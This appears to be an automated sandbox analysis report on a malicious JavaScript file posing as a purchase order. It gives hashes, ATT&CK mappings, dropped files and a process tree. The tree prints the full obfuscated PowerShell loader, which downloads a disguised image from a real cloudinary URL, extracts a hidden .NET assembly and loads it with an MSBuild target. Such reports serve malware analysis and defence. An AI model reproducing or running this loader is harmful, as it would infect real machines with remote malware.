39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f

General

Target

PO-8776-2024.js
Size

9KB
MD5

1b6d2103d7dab7301d982d0f7854acab
SHA1

9275b6b0f62f6ffc5185f8227f7cf511e51ffec4
SHA256

39a5746e7ea980faf5eee9bfdbd11d96466f24afddf634d7050dd893acb3ad4f
SHA512

e104f94649b7cadc28ab30fe1fa82ea03095dcac12f06e1e1e35baed587dfad1f4064c79d8ac2fe01e1fcc3c20c672e6545ce513c1196f0a2079b5c24f740c33
SSDEEP

96:XrdDvmf58omujIk9KY8k6z8kvhSxkgg+6vmfgxmKgK1yUApzuhnqib9Nczvmfymb:tm1muXYm6Lbgg+gm6mc1mNVibXemKmFB

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	2008	wscript.exe
6	2008	wscript.exe
9	2156	powershell.exe
11	2156	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1372	powershell.exe
2156	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1372	powershell.exe
2156	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 2752	2008	wscript.exe	30
PID 2008 wrote to memory of 2752	2008	wscript.exe	30
PID 2008 wrote to memory of 2752	2008	wscript.exe	30
PID 2752 wrote to memory of 1372	2752	cscript.exe	32
PID 2752 wrote to memory of 1372	2752	cscript.exe	32
PID 2752 wrote to memory of 1372	2752	cscript.exe	32
PID 1372 wrote to memory of 2156	1372	powershell.exe	34
PID 1372 wrote to memory of 2156	1372	powershell.exe	34
PID 1372 wrote to memory of 2156	1372	powershell.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PO-8776-2024.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\System32\cscript.exe
  "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\exchange.js
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $maremme = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJAB1AG4AcABhAHQAYwBoAGUAZAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAcgBvAHAAdABvAHMAZQBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGIAZQBsAGkAdAB0AGwAZQByAHMAIAA9ACAAJABwAHIAbwBwAHQAbwBzAGUAcwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1AG4AcABhAHQAYwBoAGUAZAApADsAJABuAG8AbgBhAG0AYgBpAGcAdQBvAHUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAZQBsAGkAdAB0AGwAZQByAHMAKQA7ACQAYQBwAG8AcABoAHkAcwBlAGEAbAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAcABvAGwAeQBtAGUAcgBpAGMAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAbQBpAHMAYQBnAGUAbgB0ACAAPQAgACQAbgBvAG4AYQBtAGIAaQBnAHUAbwB1AHMALgBJAG4AZABlAHgATwBmACgAJABhAHAAbwBwAGgAeQBzAGUAYQBsACkAOwAkAGEAbABkAG8AbABhAHMAZQBzACAAPQAgACQAbgBvAG4AYQBtAGIAaQBnAHUAbwB1AHMALgBJAG4AZABlAHgATwBmACgAJABwAG8AbAB5AG0AZQByAGkAYwApADsAJABtAGkAcwBhAGcAZQBuAHQAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABhAGwAZABvAGwAYQBzAGUAcwAgAC0AZwB0ACAAJABtAGkAcwBhAGcAZQBuAHQAOwAkAG0AaQBzAGEAZwBlAG4AdAAgACsAPQAgACQAYQBwAG8AcABoAHkAcwBlAGEAbAAuAEwAZQBuAGcAdABoADsAJABwAHQAZQByAGkAZABvAGwAbwBnAGkAcwB0AHMAIAA9ACAAJABhAGwAZABvAGwAYQBzAGUAcwAgAC0AIAAkAG0AaQBzAGEAZwBlAG4AdAA7ACQAZgBhAHQAcwBoAGUAZABlAHIAYQBzACAAPQAgACQAbgBvAG4AYQBtAGIAaQBnAHUAbwB1AHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAbQBpAHMAYQBnAGUAbgB0ACwAIAAkAHAAdABlAHIAaQBkAG8AbABvAGcAaQBzAHQAcwApADsAJABvAHYAZQByAGEAZwBnAHIAZQBzAHMAaQB2AGUAIAA9ACAALQBqAG8AaQBuACAAKAAkAGYAYQB0AHMAaABlAGQAZQByAGEAcwAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAZgBhAHQAcwBoAGUAZABlAHIAYQBzAC4ATABlAG4AZwB0AGgAKQBdADsAJABjAHIAbwBuAHkAaQBzAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbwB2AGUAcgBhAGcAZwByAGUAcwBzAGkAdgBlACkAOwAkAGUAdABoAHkAbgB5AGwAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwByAG8AbgB5AGkAcwBtACkAOwAkAG0AYQBuAGcAYQBiAGkAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAbQBhAG4AZwBhAGIAaQBlAHMALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAQAAoACcAMAAvAGMANgBrADYAVgAvAHIALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoACcALAAgACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACAAJwBjAGgAZQBjAGsAZQByAGIAbwBhAHIAZAAnACwAIAAnAGMAaABlAGMAawBlAHIAYgBvAGEAcgBkACcALAAgACcATQBTAEIAdQBpAGwAZAAnACwAIAAnAGMAaABlAGMAawBlAHIAYgBvAGEAcgBkACcALAAgACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAYwBoAGUAYwBrAGUAcgBiAG8AYQByAGQAJwAsACcAMQAnACwAJwBjAGgAZQBjAGsAZQByAGIAbwBhAHIAZAAnACkAKQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAgAC0AYQBuAGQAIAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABbAHYAbwBpAGQAXQAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2AGUAcgBzAGkAbwBuACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAnACAAfQA7AA==';$confidentially = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($maremme));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $confidentially
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$unpatched = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$proptoses = New-Object System.Net.WebClient;$belittlers = $proptoses.DownloadData($unpatched);$nonambiguous = [System.Text.Encoding]::UTF8.GetString($belittlers);$apophyseal = '<<BASE64_START>>';$polymeric = '<<BASE64_END>>';$misagent = $nonambiguous.IndexOf($apophyseal);$aldolases = $nonambiguous.IndexOf($polymeric);$misagent -ge 0 -and $aldolases -gt $misagent;$misagent += $apophyseal.Length;$pteridologists = $aldolases - $misagent;$fatshederas = $nonambiguous.Substring($misagent, $pteridologists);$overaggressive = -join ($fatshederas.ToCharArray() | ForEach-Object { $_ })[-1..-($fatshederas.Length)];$cronyism = [System.Convert]::FromBase64String($overaggressive);$ethynyl = [System.Reflection.Assembly]::Load($cronyism);$mangabies = [dnlib.IO.Home].GetMethod('VAI');$mangabies.Invoke($null, @('0/c6k6V/r/ee.etsap//:sptth', 'checkerboard', 'checkerboard', 'checkerboard', 'MSBuild', 'checkerboard', 'checkerboard','checkerboard','checkerboard','checkerboard','checkerboard','checkerboard','1','checkerboard'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a9236a366ebed2e006f4cb2d7034b9be

SHA1
8b71c9d15aa9fa32fae65518a6eee28010ecfe0a

SHA256
8931847a973924a38763c3c176e8385c1b5374925404b45832707261fedd1178

SHA512
3e17a783bb8b20a6e62fde247999b1c6fe5c248da639ce02f68938ef3a6eef6299ccff5dfc9e67ecaccc38e89e2337d96ee6e919e7d1a7ad8e00377c82d46264

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab2D48.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2DB8.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\exchange.js

Filesize
153KB

MD5
001a26494789ece37db34f725a2bcbe5

SHA1
db3561ecc3fad709787d8618b4879af4ee09d731

SHA256
25240ce1dfc3892f0c9ee996011234439f49e6c686d61694744003f5be0cb5d5

SHA512
1bc9c27f7b48b4b10e631bfa5950ea1001bbad18cc2144b3b6196fb2d2cd1781bdf522e4cd2e1bc6ad7412760e85d3d17747ef6eda89e1b3f632bbdaf7e3fc4d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
90a89d3dc8b64a28e3a63def64d72fbb

SHA1
45a84b70bbd2926ae0a4db3bb820056cb62e864d

SHA256
62a20072d797a344c13b81edb8fb069836f190d267a2229f80ef3b5119570dc7

SHA512
5718c6cb16b381e4c1f818c5e4459dd72f2dfcbf52a259438e4585246d197132c96c99945ea63705049fafa2810828f287493986258ce80e26c364eeaf7f8290

Download Submit
memory/1372-22-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/1372-23-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2156-66-0x000000001AE20000-0x000000001AF78000-memory.dmp

Filesize
1.3MB

Download

Analysis

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